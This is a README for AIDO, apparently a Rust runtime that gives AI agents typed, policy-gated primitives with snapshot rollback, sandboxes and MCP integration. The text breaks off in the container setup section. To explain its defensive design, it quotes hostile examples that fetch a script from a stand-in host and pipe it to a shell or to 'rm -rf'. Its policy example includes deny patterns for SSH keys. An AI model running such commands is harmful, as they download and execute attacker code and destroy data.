Skip to content

x0ne-labs/aido-runtime

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

AIDO CLI, sandbox mode with container detection


AIDO

by x0ne.co · project page

CI License: MIT

Typed action primitives for AI agents. The LLM sends JSON, AIDO validates, executes, returns structured results. No raw shell access. No untyped stdout. Full policy control.

AIDO stops your AI agent from doing dangerous things, and undoes the rest in 200 ms.

Typed primitives instead of raw shell. Snapshot before each risky action. Restore on any mistake. Recovery is a pointer swap.

Highlights

  • 200 ms snapshot / restore — reflink-accelerated rollback (FICLONE on btrfs/zfs, clonefile on APFS). The full repo reverts in a pointer swap, regardless of size. Wrap any change in Try or SafeChange and a failed test-pass auto-rolls everything back atomically.
  • Persistent goals via MCPaido_goal_set writes to ~/.aido/goals/<id>.json. Set a goal from Claude Code on Tuesday, query its status from Codex on Friday. Cross-tool, cross-session, durable.
  • Pre-execution simulateaido_simulate routes a multi-step plan through the policy engine without any I/O. Returns per-step allow / deny / confirm verdicts plus the full side-effect inventory (paths read, paths written, commands invoked). EXPLAIN for agent plans.

Add to Claude Code in 30 seconds

git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install                # build + install the 3 binaries
make claude-add             # registers BOTH 'aido' (runtime) AND 'aido-gateway' (orchestrator)

Two MCP servers get registered in one shot:

Server Tools Use when
mcp__aido__* 100 runtime primitives You only need typed file/exec/git/snapshot/desktop primitives
mcp__aido-gateway__* Same 100 + 14 orchestrator tools You want goals (aido_goal_set), plans (aido_plan / aido_plan_execute), pre-execution preview (aido_simulate), and host-only primitives (aido_artifact_expose)

Each call is policy-gated, returns structured JSON, and is logged to ~/.aido/sessions/. Verify with claude mcp list:

aido:         aido-runtime --mode mcp --log-level error              - ✓ Connected
aido-gateway: aido-orchestrator --mcp --downstream-runtime aido-runtime - ✓ Connected

Then in any Claude Code session: "set a goal to refactor my auth and make all tests pass, then plan the steps" — the model reaches for mcp__aido-gateway__aido_goal_set and mcp__aido-gateway__aido_plan, the goal persists across sessions in ~/.aido/goals/, and any future aido_goal_step is policy-checked. To unregister later: make claude-remove.

Add to Codex in 30 seconds

git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install
make mcp-codex              # alias for `make codex-add` — registers BOTH entries in ~/.codex/config.toml

This writes two MCP server entries to ~/.codex/config.toml:

[mcp_servers.aido]
command = "/home/you/.cargo/bin/aido-runtime"
args = ["--mode", "mcp", "--log-level", "error"]

[mcp_servers.aido-gateway]
command = "/home/you/.cargo/bin/aido-orchestrator"
args = ["--mcp", "--downstream-runtime", "aido-runtime", "--log-level", "warn"]

Restart Codex, and you get the same two surfaces as in Claude Code (runtime alone + gateway with goal/plan/simulate). To unregister later: make codex-remove.

Why MCP? AIDO becomes the safe execution backend for any MCP-aware agent (Claude Code, Codex, Cursor, OpenCode, Zed, …). Your host agent gets typed primitives, snapshot/restore, multi-pattern search, sandboxed exec, persistent goals, plan ledgers, and the privilege boundary for free. See § MCP for the full integration table.

30-second demo

make demo-undo-fast      # or: ./scripts/demo-undo.sh --no-pause

Plays out an agent destroying a fake payment service, then time-travels back via RestoreSnapshot, all 6 files + missing parent dirs reconstructed in ~3 ms. See scripts/DEMO-UNDO.md.

Quick Start

git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install            # builds + installs the 3 binaries to ~/.cargo/bin/
                        # plus runtime profiles to ~/.config/aido/
aido                    # first run auto-launches the configuration wizard
                        # (model, provider) — re-run anytime with
                        # `aido --setup`, or `/setup` from inside a session

That's it. No container required. AIDO runs directly on your host — Linux, macOS, or Windows — and snapshot/restore stays O(1) wherever the filesystem supports reflink:

Filesystem Snapshot speed OS
btrfs / zfs O(1) reflink (FICLONE) Linux
APFS O(1) clonefile macOS
ext4 / NTFS / others byte-copy fallback (still functional) Linux / Windows

To remove everything: make uninstall (drops binaries, XDG config, and MCP registrations — preserves ~/.aido/ user data: sessions, snapshots, goals, memory).

Optional: full container sandbox

If you want process isolation on top of snapshot/restore — e.g. to run untrusted code via RunInSandbox, or to give the agent a fresh filesystem each turn — opt in via:

make setup-podman    # Linux + macOS + Windows (uses Podman Machine on Mac)
make setup-incus     # Linux only — fastest, btrfs storage pool, baseline container

Each is from-zero: bootstraps the daemon if missing (apt/pacman/dnf/zypper auto-detected on Linux), creates the aido-sandbox container, and captures a baseline snapshot. Idempotent, safe to re-run. With one of these installed, plain aido auto-detects the container and runs the runtime inside it; without it, you stay on host mode with snapshot fallback. For production / CI that requires fail-closed semantics, set AIDO_REQUIRE_SANDBOX=1.

# Non-interactive, run a single prompt and exit
aido -p "what OS is this and how much disk is free"

# Pipe mode, feed stdin as context
cat error.log | aido --stdin -p "explain this error and fix it"

# @file references, inject file contents inline
aido -p "refactor @src/main.rs to use async"

# Autonomous mode, continuous loop with git checkpoints
aido --auto-mode --max-iterations 30
Orchestrator (LLM loop) ──[Bridge: stdio / HTTP / SSH]──▶ Core (executor + policy)

Architecture

aido-orchestrator          aido-runtime
├── TUI (ratatui)          ├── Action parser (JSON → typed enum)
├── Matrix Mode            ├── Policy engine (deny / allow / confirm)
├── CLI (rustyline)        ├── Executor (100 typed primitives)
├── LLM backends           ├── Composite primitives (user-defined)
│   Ollama / Anthropic     ├── Handle manager (async events)
│   OpenAI-compat          ├── Snapshot engine (FS, reflink-aware)
│   (multi-profile, hot-   ├── Try / SafeChange (auto-snapshot rollback)
│   swap via /provider)    ├── MCP server (tools/list, tools/call)
├── Non-interactive (-p)   └── Path canonicalization (anti-traversal)
├── Autonomous (--auto)
├── MCP gateway (14 native
│   sysaicalls — gates the
│   runtime's 100 tools):
│   • aido_plan / _execute
│     (single-use ledger)
│   • aido_simulate
│     (pre-flight, no I/O)
│   • aido_goal_set / step /
│     status / pause / resume /
│     complete / clear
│     (persistent ~/.aido/goals/)
│   • aido_artifact_expose
│     (privilege boundary)
├── Orchestrator-first
│   dispatch (sysaicalls
│   + Pipeline interception)
├── Multi-agent (SpawnAgent
│   / SpawnWorld / WaitAgent /
│    BroadcastAgents)
├── Incus container mgmt
│   (RunIncus, RunIncusGroup,
│   Incus*Snapshot, outside
│   the runtime's privilege
│   boundary by design)
├── AIDO.md (project memory)
├── Codebase indexing
├── @file injection
├── Session audit logger (JSONL)
├── Execution target display
│   (🛡 sandbox / ⚡ local / 🌐 remote)
├── /export (JSON for fine-tuning)
├── Loop protection
│   (anti-loop, hints)
└── Bridge
    (stdio / HTTP / SSH+Incus)

aido-mcp (shared lib)        aido-code (`aido` binary)
├── JSON-RPC 2.0 types       ├── CLI / TUI / Matrix entrypoint
├── line-delimited stdio     ├── -p one-shot, --stdin pipe
└── ChildMcpClient           └── --auto autonomous loop
    (downstream proxy)           consumes orchestrator as lib

Privilege boundary, anything that modifies the runtime's environment (containers, host-side artifact exposure, sub-agent spawning) lives in the orchestrator, not the runtime. The runtime literally cannot compile a RunIncus action; the orchestrator intercepts these before the bridge dispatch and runs incus itself on the host. The LLM sees the same wire format either way.


Primitives

100 typed runtime actions + 14 orchestrator native tools. Every primitive takes typed input, returns typed output, goes through the policy engine.

Filesystem

Action Description Mutable
ReadFile Read file with optional offset/limit No
ReadFileChunk Read specific line range No
WriteFile Create or overwrite a file Yes
WriteFileLines Create or overwrite a file from lines: [...] Yes
AppendFile Append to file Yes
AppendLines Append lines: [...] to file Yes
ReplaceInFile Replace first match in file Yes
EditFile Multiple find-and-replace edits Yes
InsertAtLine Insert at line number Yes
ApplyPatch Apply unified diff Yes
ListDir List directory No
TreeView ASCII directory tree No
FindFiles Glob search, single (pattern) or multi-glob OR (patterns: [...]) No
CreateDir Create directory with parents Yes
MoveToTrash Move to OS trash Yes
CopyFile Copy file Yes
MoveFile Move / rename Yes
CreateTempFile Create temp file Yes

Search

Action Description Mutable
SearchCode Regex search inside file contents, single (pattern) or multi-needle OR (patterns: [...], compiled into one RegexSet, single walk) No
// Multi-pattern: 3 needles, ONE round-trip, ONE walk
{"type": "SearchCode", "root": "./src", "patterns": ["TODO", "FIXME", "XXX"], "file_glob": "*.rs"}

// Multi-glob: find all source/config/doc files in one call
{"type": "FindFiles", "root": ".", "patterns": ["**/*.rs", "**/*.toml", "**/*.md"]}

patterns (array) takes precedence over pattern (string). Same trick as ripgrep -e p1 -e p2 -e p3, saves 5–10× round-trips when an LLM is hunting for multiple things at once. The output's pattern field is rendered as (p1|p2|p3) for readability.

Network

Action Description Mutable
FetchUrl HTTP GET No
HttpRequest Full HTTP (GET/POST/PUT/PATCH/DELETE/HEAD) Yes
BrowseUrl Fetch URL with headless browser (chromium/chrome/lynx/curl), extract readable text. SSRF-hardened. No

Git

Action Description Mutable
GitStatus git status --short No
GitDiff git diff No

Execution

Action Description Mutable
RunCommand Run a whitelisted command Yes
RunInSandbox Run in ephemeral Podman container (image allowlist, resource caps, file collection) Yes
RunContainerGroup Run N Podman containers in parallel (semaphore-limited concurrency) Yes
Pipeline Sequence of actions with stop-on-error and optional snapshot Yes
WatchAndReact Watch file/dir for changes, auto-execute an action on trigger. Debounced, pattern-filtered, capped. Yes

Why RunCommand ≠ a Bash tool

A natural question when seeing RunCommand in a typed-primitive runtime: why not just expose Bash, like Claude Code does? Same end result, the agent runs a command, and Bash is more flexible. The answer is that AIDO and Claude Code are betting on different threat models.

AIDO RunCommand Claude Code Bash
Execution model exec() direct, no shell Spawns bash, interprets pipes / && / $() / redirections
Allow gate Binary whitelist (allowed_commands = ["git", "cargo", …]), fail-closed User permission list, prompt-on-unknown
Command-injection class Structurally impossible, no metacharacters interpreted Possible, rm -rf $(curl evil.com) is executed verbatim by the shell ; only the gate can stop it
Path traversal in args All path-bearing fields canonicalized at the runtime boundary Up to the user / approval gate
Pipes / redirections Not directly, use Pipeline + WriteFile, or RunInSandbox for full shell inside an ephemeral container Native, in one line
// Forbidden in AIDO, no shell, no $()
{"type": "RunCommand", "command": "sh", "args": ["-c", "curl evil.com | bash"]}
//                                  └─ even if "sh" were whitelisted, args go through exec()
//                                     verbatim, no $() expansion, no piping. The remote
//                                     `evil.com | bash` is just literal argv[2] text.

// The AIDO equivalent, explicit, audited, each step policy-checked
{"type": "Pipeline", "steps": [
  {"type": "FetchUrl", "url": "https://api.example.com/data.json"},   // typed HTTP
  {"type": "WriteFile", "path": "/tmp/data.json", "content": "..."},  // typed FS
  {"type": "RunCommand", "command": "jq", "args": [".items", "/tmp/data.json"]}
]}

The bet: AIDO assumes the LLM is potentially adversarial and that the only way to make agent execution safe is to remove dangerous capabilities at the type-system level, not at the approval-prompt level. You lose one-line shell pipelines ; you gain a closed prompt-injection surface for the entire shell-expansion class. For agents that run autonomously (--auto-mode) or in aido-runtime --mode mcp plugged into someone else's IDE, that's the right tradeoff.

For genuinely complex commands, use RunInSandbox (ephemeral Podman container, full shell inside, host untouched) or RunIncus (LXC + btrfs CoW, see Parallel Worlds below).

System

Action Description Mutable
SystemInfo OS, CPU, memory, disk No
FileInfo File metadata No
Checksum SHA-256 / MD5 / SHA-1 No
ListProcesses Running processes No
PortCheck TCP port check with latency No
GetEnv Read whitelisted env var No
DnsLookup Hostname → IP No
Whoami User identity No
DiskUsage Disk usage for path No
Uptime Uptime + load averages No

Data

Action Description Mutable
ReadJson Parse JSON file No
WriteJson Write JSON file Yes
ParseToml Parse TOML file No
RandomBytes Cryptographic random bytes (hex/base64) No

Math

18 pure arithmetic operations, no side effects, always allowed:

Add Sub Mul Div Mod Abs Pow Sqrt Min Max Round Compare Gt Lt Eq Clamp Sum Avg

String

9 pure string operations, no side effects, always allowed:

StrLen StrContains StrCount StrReplace StrSplit StrUpper StrLower StrTrim StrSlice

StrContains and StrCount accept input, text, or string as aliases for haystack. StrSlice clamps end to string length (Python-style, no error on out-of-bounds end).

Memory

Namespaced key-value store persisted to ~/.config/aido/memory/:

Action Description Mutable
Remember Store a key-value pair Yes
Recall Retrieve a value by key No
Forget Delete a key Yes
ListMemory List all keys in a namespace No

Validation

Action Description Mutable
Validate Type/schema/range checks on values No
Diff Unified diff between strings or files No

Human interaction

Action Description
AskHuman Prompt operator for input
Confirm Yes/no confirmation gate
AskMultipleChoice Multiple-choice selection

Snapshots

Action Description Mutable
CreateSnapshot Backup specified paths Yes
RestoreSnapshot Restore snapshot Yes
ListSnapshots List snapshots No
DeleteSnapshot Delete snapshot Yes

Handles & Events

Action Description
Subscribe Watch file changes, process exit, port open
CheckHandle Drain buffered events
StopHandle Cancel handle
ListHandles List active handles
SendInput Write to stdin of a running streaming process (interactive CLI/REPL)

Desktop (requires desktop.enabled = true, Sway/Wayland)

Screenshot GetWindowTree GetFocusedWindow MoveMouse Click DoubleClick Scroll TypeText PressKey PressKeyCombination FocusWindow SendNotification GetClipboard SetClipboard

Requires external Wayland tools:

sudo apt install grim wlrctl wtype wl-clipboard libnotify-bin

See docs/desktop.md for full setup and configuration.

Meta

ListActions DescribeAction PolicyCheck ReadLogs

Artifact, browser-reachable web artifacts

When an agent writes HTML/CSS/JS that a human wants to open, the orchestrator embeds a loopback reverse-proxy on 127.0.0.1:7800 to make the artifact reachable at http://localhost:7800/a/<artifact_id>/, without opening any port on the network.

Primitive Where Description
ArtifactCreate aido-runtime Allocate an artifact directory, return { artifact_id, root_path, url }
ArtifactExpose orchestrator (host) Register with the local proxy, return the loopback URL
ArtifactUnexpose orchestrator (host) Remove an artifact (or all) from the local proxy
ArtifactList ArtifactSave ArtifactStop ArtifactDestroy ArtifactServe aido-runtime Lifecycle
// Agent chain: create → write → expose
{"type": "Pipeline", "steps": [
  {"type": "ArtifactCreate", "name": "eth-ticker"},
  {"type": "WriteFile", "path": "{root_path}/index.html", "content": "<!DOCTYPE html>…"},
  {"type": "ArtifactExpose", "artifact_id": "{artifact_id}"}
]}

ArtifactExpose executes on the host (never inside the sandbox, same pattern as RunIncus) and returns a URL the user's browser can actually open. Files are pulled out of the sandbox on-demand via incus file pull; no files are copied to the host, no Incus device is created, and the port is 127.0.0.1 only. When aido exits, the port dies with it. See aido-orchestrator/README.md § Artifact for details.

Composite Primitives

Define reusable, parameterized macros from existing primitives. Stored on disk, discoverable via ListActions/DescribeAction, and executed like native actions.

Action Description Mutable
DefinePrimitive Define a composite from a pipeline of existing actions Yes
CallPrimitive Call a defined composite with arguments Yes
ListCustomPrimitives List all user-defined composites No
DeletePrimitive Delete a composite by name Yes

Example, define a health check macro:

{"type": "DefinePrimitive", "name": "HealthCheck",
  "params": {
    "url": {"type": "string", "required": true},
    "log_path": {"type": "string", "required": true}
  },
  "steps": [
    {"type": "HttpRequest", "url": "{url}", "method": "HEAD"},
    {"type": "ReadLogs", "path": "{log_path}", "lines": 50}
  ]}

Call it: {"type": "CallPrimitive", "name": "HealthCheck", "args": {"url": "https://api.x0ne.co", "log_path": "/var/log/app.log"}}

Security: No recursion, no self-reference, max depth 3, every step passes through the policy engine. Persisted in ~/.config/aido/primitives/.

Try / Assert (core primitives)

Transactional execution with automatic snapshot and rollback:

{
  "type": "Try",
  "label": "refactor auth",
  "rollback_on_fail": true,
  "actions": [
    {"type": "WriteFile", "path": "src/auth.rs", "content": "..."},
    {"type": "RunCommand", "command": "cargo", "args": ["check"]}
  ]
}

If cargo check fails → the file is automatically restored from snapshot.

{"type": "Assert", "check": "file_exists", "path": "/tmp/output.txt"}
{"type": "Assert", "check": "eq", "actual": 42, "expected": 42}

9 assertion checks: file_exists, file_contains, port_open, command_succeeds, eq, gt, lt, not_empty, env_set.

Sysaicalls (orchestrator-side)

These meta-actions run in the orchestrator, not in aido-runtime. They are the control-flow primitives that enable multi-agent coordination:

Action Description
Plan Label and execute a multi-step plan with progress tracking.
SpawnWorld Spawn a sub-agent with its own conversation, LLM context, and aido-runtime bridge.
WaitAgent Wait for a sub-agent to finish and collect its result + token usage.
ListAgents List active sub-agents and their status (running/completed/failed).
BroadcastAgents Send a message to all running sub-agents.
Reflect Self-evaluation over the conversation context.

Orchestrator-First Dispatch

The orchestrator acts as a universal action router. When a Pipeline contains any sysaicall (SpawnWorld, WaitAgent, etc.), the orchestrator executes the entire Pipeline locally, routing each step to either local handling or aido-runtime's bridge. Pure-system Pipelines still forward to aido-runtime directly (zero overhead).

Pipeline { SpawnWorld, ReadFile, WaitAgent }
    │
    ├─ step 1: SpawnWorld → orchestrator (tokio::spawn + new bridge)
    ├─ step 2: ReadFile   → aido-runtime bridge
    └─ step 3: WaitAgent  → orchestrator (await oneshot)

This enables the LLM to compose sysaicalls with system actions in a single Pipeline, the key unlock for multi-agent workflows.

Parallel Worlds

The LLM thinks in branches, not sequences.

AIDO supports three levels of parallelism, orchestrator-level (multi-agent), Podman containers (OCI), and Incus containers (LXC). They can run simultaneously and be combined.

Level 1, Multi-agent (orchestrator)

Spawn N sub-agents, each with its own conversation context, LLM loop, and aido-runtime bridge. Each agent runs independently and can execute any action. Results are collected via WaitAgent.

{"type": "Pipeline", "steps": [
  {"type": "SpawnWorld", "id": "ui",      "task": "Design a TUI dashboard for BTC price"},
  {"type": "SpawnWorld", "id": "api",     "task": "Implement CoinGecko API client in Rust"},
  {"type": "SpawnWorld", "id": "tests",   "task": "Write integration tests for the ticker"},
  {"type": "SpawnWorld", "id": "docs",    "task": "Write README and usage docs"},
  {"type": "WaitAgent",  "id": "ui",      "timeout_secs": 120},
  {"type": "WaitAgent",  "id": "api",     "timeout_secs": 120},
  {"type": "WaitAgent",  "id": "tests",   "timeout_secs": 120},
  {"type": "WaitAgent",  "id": "docs",    "timeout_secs": 120}
]}

Safety boundaries:

  • Sub-agents cannot spawn further agents (prevents recursive agent soup)
  • Each sub-agent has its own action budget (AIDO_SERVE_SUB_AGENT_MAX_ACTIONS, default: 10)
  • Interrupt propagation: Ctrl+C stops all Pipeline steps

Level 2, Podman containers (OCI, Linux + macOS)

RunInSandbox runs a single ephemeral Podman container. RunContainerGroup runs N containers in parallel with semaphore-limited concurrency. Both are daemonless and rootless.

{"type": "RunContainerGroup", "tasks": [
  {"id": "py-test",  "image": "python:3.12-slim", "command": ["python", "-m", "pytest"]},
  {"id": "lint",     "image": "node:20-slim",      "command": ["npx", "eslint", "."]},
  {"id": "build",    "image": "alpine",            "command": ["make", "release"]}
], "memory_mb": 256, "timeout_secs": 60}
Sequential (slow):   test → lint → build                        (3 round-trips)
Parallel   (fast):   RunContainerGroup [test, lint, build]      (1 round-trip)

Level 3, Incus containers (LXC, Linux only)

When RunIncus / RunIncusGroup are enabled (requires an Incus remote), agents can fork N isolated containers simultaneously, each exploring a different approach, then pick the winner in a single round-trip.

Sequential (slow):   try A → fail → try B → fail → try C → ok   (3 round-trips)
Parallel   (fast):   RunIncusGroup [A, B, C] → pick winner       (1 round-trip)
Primitive What it does
RunIncus Single ephemeral LXC container, inject files, run, collect output, auto-delete
RunIncusGroup N containers in parallel, same btrfs snapshot, different commands
base_snapshot CoW clone in < 200ms, all worlds start from the same frozen state
snapshot_on_exit Save container state as a rollback point before a risky operation

Measured on prod-infra (btrfs): 4 parallel containers → 5.6s total · CoW clone < 200ms · zero zombie containers.

Combining all three levels

A parent agent can spawn sub-agents that each use Podman or Incus containers internally:

Parent LLM
├─ SpawnWorld "frontend"  → sub-agent uses RunInSandbox (Podman) to test in Alpine
├─ SpawnWorld "backend"   → sub-agent uses RunIncus to test in Ubuntu (full system)
├─ SpawnWorld "benchmarks"→ sub-agent uses RunContainerGroup [4 Podman variants]
├─ SpawnWorld "variants"  → sub-agent uses RunIncusGroup [4 Incus variants, btrfs CoW]
└─ WaitAgent all          → collect results, pick winner

Sandbox mode (make run-incus)

Even when aido-runtime runs inside a sandbox container, Parallel Worlds still work. The orchestrator maintains a secondary host-side bridge, a local aido-runtime instance with access to the incus CLI. When RunIncus/RunIncusGroup are detected, they are routed to this host-side bridge instead of the sandbox:

Orchestrator (host)
├── Primary bridge ──→ sandbox container (ReadFile, WriteFile, RunCommand…)
│                        ↑ winning solution applied here
└── Incus bridge ────→ local aido-runtime → incus launch → ephemeral containers
                         (RunIncus, RunIncusGroup)

This means make run-incus gives you full isolation (agent actions in the sandbox) AND parallel worlds (Incus containers on the remote), no nested containers needed.

Time Travel, snapshot & rollback

Incus containers on btrfs are time machines. Every container state can be frozen and restored in milliseconds thanks to Copy-on-Write snapshots:

Agent explores risky refactor
  ├─ snapshot_before: "pre-refactor"     ← frozen state (< 200ms, zero-copy)
  ├─ writes 12 files, runs tests         ← fails
  ├─ RestoreSnapshot "pre-refactor"      ← instant rollback
  └─ tries a different approach          ← clean slate, same starting point
Capability How
Checkpoint before risk base_snapshot / snapshot_before on any RunIncus or Pipeline
Instant rollback RestoreSnapshot, btrfs reflink, < 200ms regardless of container size
Branch & compare RunIncusGroup forks N CoW clones from the same snapshot, each explores a different strategy, agent picks the winner
Survive catastrophic failure Container deleted on exit (--ephemeral), host is never touched

The LLM doesn't need to be careful, it can explore aggressively, knowing that any checkpoint is a free undo. This is the key difference from bare-metal agents: mistakes are free.

→ Full Incus setup and architecture: Parallel Worlds & Snapshot Architecture


Multimodal

AIDO is not text-only, agents can see, listen, and delegate to specialized models.

Vision pipeline

When the agent takes a Screenshot, the image is injected directly into the conversation as a base64-encoded attachment. All three backends handle it natively:

Backend Format
Anthropic (Claude) Multi-part content blocks: [{type:"text"}, {type:"image", source:{type:"base64", ...}}]
Ollama (llava, bakllava) images: [base64...] array on the user message
OpenAI-compat (GPT-4o, etc.) content: [{type:"text"}, {type:"image_url", image_url:{url:"data:..."}}]

The LLM literally sees the screenshot, no OCR, no description intermediary.

Multi-model pipeline

Different models excel at different tasks. Chain them in a single Pipeline:

{
  "type": "Pipeline",
  "steps": [
    {"type": "Screenshot"},
    {"type": "OllamaChat", "endpoint": "http://localhost:11434", "model": "llava",
     "messages": [{"role": "user", "content": "Describe this UI", "images": ["<base64>"]}]},
    {"type": "LlmCall", "endpoint": "http://localhost:11434", "model": "codellama",
     "prompt": "Fix the CSS issue described above"}
  ]
}

OllamaChat supports full multi-turn conversations with optional per-message image attachments, ideal for vision models that need follow-up questions.

Document extraction

DocumentExtract handles PDF → text (pdftotext), video → transcription (whisper), image → OCR (tesseract), and can optionally convert the output to a JSONL training dataset via an LLM.


Policy

[policy]
default_effect = "deny"          # deny | allow
allowed_read_paths  = ["/home/user/code"]
allowed_write_paths = ["/home/user/code"]
allowed_commands    = ["git", "cargo", "npm", "make"]
deny_path_patterns  = ["**/.ssh/**", "**/*.key", "**/*.pem"]
readable_env_vars   = ["PATH", "HOME", "USER"]

[actions]
WriteFile  = false
RunCommand = false
# etc, per-action switches

Safety Rails

The orchestrator prevents LLMs from getting stuck in infinite retry loops:

Protection Threshold Behavior
Consecutive action limit 20 actions Forces pause, asks LLM to summarize and wait for user
Same-action failure 3 identical parse errors Breaks the loop (not retry), suggests DescribeAction
Total failure budget 8 errors per turn Hard stop regardless of action type
Repeated-action circuit breaker 5 identical failures (type + args + error_code) Pre-dispatch refusal with loop_detected envelope (CLI + TUI)
Parse retry limit 3 invalid JSON blocks Returns to user prompt
Structural hints On "missing field" errors Detects "params" wrapper mistakes, injects correction
Schema hints On any parse error Injects correct schema + example from discovered actions
Confirmation gate Destructive actions [y]es [n]o [a]lways prompt before writes/commands

Session Audit Logging

Every session is automatically logged to ~/.aido/sessions/*.jsonl, one JSONL file per invocation. Each line is a self-contained JSON event:

Event Type Description
session_start Model, version, hostname, PID, correlates audit trails
user_input User prompt text
llm_response Full LLM response with token counts (in/out)
action Action JSON with type, success flag, duration
action_result Full result payload (output, errors)
policy_denial Action blocked by policy engine (with reason)
# View latest session log
cat ~/.aido/sessions/$(ls -t ~/.aido/sessions/ | head -1) | jq .

# Export conversation as JSON (for LLM fine-tuning)
/export my-training-data    # → ~/.aido/exports/my-training-data_2026-04-16_02-30.json

The /export format produces clean {"role": "user/assistant", "content": "..."} pairs, directly compatible with LLM fine-tuning pipelines.


Execution Target Display

The status bar shows exactly where actions execute:

Icon Mode Example
🛡 sandbox (green) Incus/LXC container 🛡 sandbox aido-sandbox
local (blue) Direct on host ⚡ local hp
🌐 remote (yellow) HTTP API server 🌐 remote 192.168.1.50:3100

Container name is auto-extracted from the sandbox_cmd (detects incus exec <name>, ssh <host>).


Turn Collapse

Previous conversation turns auto-collapse when you send a new prompt:

  ▸ I've listed the project root and found 31 entries...   ← previous turn (collapsed)
  
  ▸ read · ListDir                                         ← current action (collapsed)
  ╭─ response ──────────────────────                       ← current response (expanded)
  │ The system is running Ubuntu 22.04...
  ╰─────────────────────────────────────

Within a turn, action blocks collapse when the next action or response arrives. Between turns, the entire previous output collapses into a one-line summary. Use /history to expand everything.


Security Hardening

Protection Description
Path canonicalization All file paths resolved via std::fs::canonicalize(), blocks ../ traversal and symlink escapes
UTF-8 safe truncation Character-based slicing prevents panics on multi-byte sequences
I/O deadlock prevention Concurrent tokio::join! for stdout/stderr pipes instead of sequential reads
Policy denial audit Every blocked action logged with reason to session JSONL
Sandbox file integrity Rejects absolute paths and .. components in sandbox temp directories

Install

# One-liner (downloads latest release from GitHub)
curl -fsSL https://raw.githubusercontent.com/x0ne-labs/aido-runtime/main/install.sh | sh

# From crates.io
# `aido-code` produces the `aido` CLI/TUI/Matrix binary; `aido-runtime` is the executor.
# Add `aido-orchestrator` only if you also want the headless HTTP/SSE serve binary.
cargo install aido-runtime aido-code

# From source
git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install   # builds release + installs to ~/.cargo/bin

The installer downloads both aido-runtime and aido (orchestrator) binaries plus default config files to ~/.aido/bin/ and ~/.config/aido/.

Pre-built binaries: GitHub Releases

Providers, F4 / F5 / F6 in the TUI

Configure in aido-orchestrator.toml:

[llm]
provider = "ollama"  # ollama | anthropic | openai-compat

[llm.ollama]
endpoint = "http://localhost:11434"
model    = "mistral"

[llm.anthropic]
model = "claude-sonnet-4-20250514"

[llm.openai_compat]
base_url = "https://api.openai.com"
model    = "gpt-4o"

Env vars (.env):

OLLAMA_BASE_URL=http://localhost:11434
OLLAMA_API_KEY=...
ANTHROPIC_API_KEY=...
AIDO_OPENAI_COMPAT_KEY=...

MCP, use with Claude, Codex, Cursor, OpenCode, Zed…

AIDO exposes all 100 runtime actions + 14 orchestrator tools as MCP tools. Two modes are supported, depending on what you want from the host agent:

Mode Binary What you get
Runtime-only (simplest) aido-runtime --mode mcp 100 typed runtime tools, policy-gated. No agent loop, no sysaicalls.
Orchestrator gateway (recommended) aido-orchestrator --mode mcp Same primitives plus 14 native sysaicalls (aido_plan, aido_plan_execute, aido_simulate, aido_goal_set / step / status / pause / resume / complete / clear, aido_artifact_expose / unexpose, aido_list_agents, aido_orchestrator_info). The orchestrator spawns a downstream aido-runtime and proxies unknown tools — one MCP plug, the host agent gets both layers.

The shared wire-level plumbing (JSON-RPC 2.0, line-delimited stdio, downstream ChildMcpClient) lives in the aido-mcp crate so both servers, and any future meta-MCP gateway, speak the same dialect.

Two naming conventions, by design. The agent-loop wire format (LLM → orchestrator → runtime) uses PascalCase action types, {"type": "CreateSnapshot"}, because that's the natural Rust enum form and it's what the system prompt teaches. The MCP wire format uses snake_case tool names, {"name": "create_snapshot"}, because that's the convention every MCP host agent expects (Claude Desktop, Cursor, Zed, …). Each audience sees an internally consistent dialect; the mapping lives in aido-runtime/src/mcp/registry.rs.

aido-runtime implements the full MCP specification (2024-11-05):

  • tools/list, tools/call with typed JSON Schema per tool
  • initialize / initialized lifecycle
  • resources/list, prompts/list (empty, spec-compliant stubs)
  • ping, logging/setLevel
  • ✅ Notifications handled gracefully (no crash on notifications/cancelled)
  • isError: true/false on every tool result
  • ✅ Full policy engine on every tool call

Claude Desktop

~/.config/Claude/claude_desktop_config.json:

{
  "mcpServers": {
    "aido": {
      "command": "aido-runtime",
      "args": ["--mode", "mcp"],
      "env": { "AIDO_LOG": "warn" }
    }
  }
}

Claude Code (CLI)

claude mcp add aido -- aido-runtime --mode mcp

Or manually in ~/.claude.json:

{
  "mcpServers": {
    "aido": {
      "command": "aido-runtime",
      "args": ["--mode", "mcp"],
      "env": { "AIDO_LOG": "warn" }
    }
  }
}

Cursor

.cursor/mcp.json (per-project) or global MCP settings:

{
  "mcpServers": {
    "aido": {
      "command": "aido-runtime",
      "args": ["--mode", "mcp"]
    }
  }
}

OpenCode

opencode.json in your project root:

{
  "mcp": {
    "aido": {
      "type": "stdio",
      "command": "aido-runtime",
      "args": ["--mode", "mcp"]
    }
  }
}

Continue.dev

~/.continue/config.json:

{
  "mcpServers": [{
    "name": "aido",
    "command": "aido-runtime",
    "args": ["--mode", "mcp"]
  }]
}

Zed

settings.json:

{
  "context_servers": {
    "aido": {
      "command": { "path": "aido-runtime", "args": ["--mode", "mcp"] }
    }
  }
}

Windsurf

Add via Cascade MCP settings:

{
  "mcpServers": {
    "aido": {
      "command": "aido-runtime",
      "args": ["--mode", "mcp"]
    }
  }
}

Any MCP client

aido-runtime speaks the standard MCP stdio transport:

# Start as MCP server (stdio transport)
aido-runtime --mode mcp

# Start as HTTP server (for REST clients)
aido-runtime --mode http --bind 127.0.0.1:7898

HTTP bridge (non-MCP tools)

For tools that don't support MCP, use the HTTP API:

curl -s http://localhost:7898/execute \
  -H "Content-Type: application/json" \
  -d '{"type": "ReadFile", "path": "./src/main.rs"}' | jq

Security: Set auth_token in aido-runtime.toml under [runtime.http] to require bearer authentication.


Container Isolation, Incus Setup

AIDO can execute code inside ephemeral Incus (LXC) containers for full process isolation. Two modes are supported: local (via Unix socket) and remote (via TLS, recommended for production, especially with btrfs for instant CoW snapshots).

make run-incus    # build, deploy to Incus container, run CLI

Mode 1, Local Incus (Unix socket)

No configuration needed if Incus is installed locally:

# Install Incus
